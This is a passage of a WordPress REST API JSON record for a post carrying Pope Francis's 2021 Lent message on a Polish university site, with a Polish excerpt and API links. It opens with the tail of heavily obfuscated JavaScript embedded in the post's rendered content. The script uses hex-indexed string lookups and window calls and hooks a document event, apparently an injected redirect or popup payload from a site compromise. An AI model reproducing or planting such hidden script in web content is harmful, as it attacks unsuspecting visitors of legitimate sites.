_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());<\/script>","protected":false},"excerpt":{"rendered":"<p>\u201eOto idziemy do&nbsp;Jerozolimy\u2026\u201d (Mt 20,18)Wielki Post: czas na&nbsp;odnow\u0119 wiary, nadziei i&nbsp;mi\u0142o\u015bci Drodzy bracia i&nbsp;siostry, zapowiadaj\u0105c uczniom swoj\u0105 m\u0119k\u0119, \u015bmier\u0107 i&nbsp;zmartwychwstanie, aby wype\u0142ni\u0107 wol\u0119 Ojca, Jezus ukazuje im g\u0142\u0119boki sens swojej&#8230; <a class=\"read-more-link\" href=\"https:\/\/www.utwdrz.rzeszow.pl\/index.php\/2021\/02\/16\/oredzie-ojca-swietego-franciszka-na-wielki-post-2021\/\">Czytaj dalej &raquo;<\/a><\/p>\n","protected":false},"author":1,"featured_media":279,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-277","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-bez-kategorii"],"_links":{"self":[{"href":"https:\/\/www.utwdrz.rzeszow.pl\/index.php\/wp-json\/wp\/v2\/posts\/277","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.utwdrz.rzeszow.pl\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.utwdrz.rzeszow.pl\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.utwdrz.rzeszow.pl\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.utwdrz.rzeszow.pl\/index.php\/wp-json\/wp\/v2\/comments?post=277"}],"version-history":[{"count":1,"href":"https:\/\/www.utwdrz.rzeszow.pl\/index.php\/wp-json\/wp\/v2\/posts\/277\/revisions"}],"predecessor-version":[{"id":280,"href":"https:\/\/www.utwdrz.rzeszow.pl\/index.php\/wp-json\/wp\/v2\/posts\/277\/revisions\/280"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.utwdrz.rzeszow.pl\/index.php\/wp-json\/wp\/v2\/media\/279"}],"wp:attachment":[{"href":"https:\/\/www.utwdrz.rzeszow.pl\/index.php\/wp-json\/wp\/v2\/media?parent=277"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.utwdrz.rzeszow.pl\/index.php\/wp-json\/wp\/v2\/categories?post=277"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.utwdrz.rzeszow.pl\/index.php\/wp-json\/wp\/v2\/tags?post=277"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}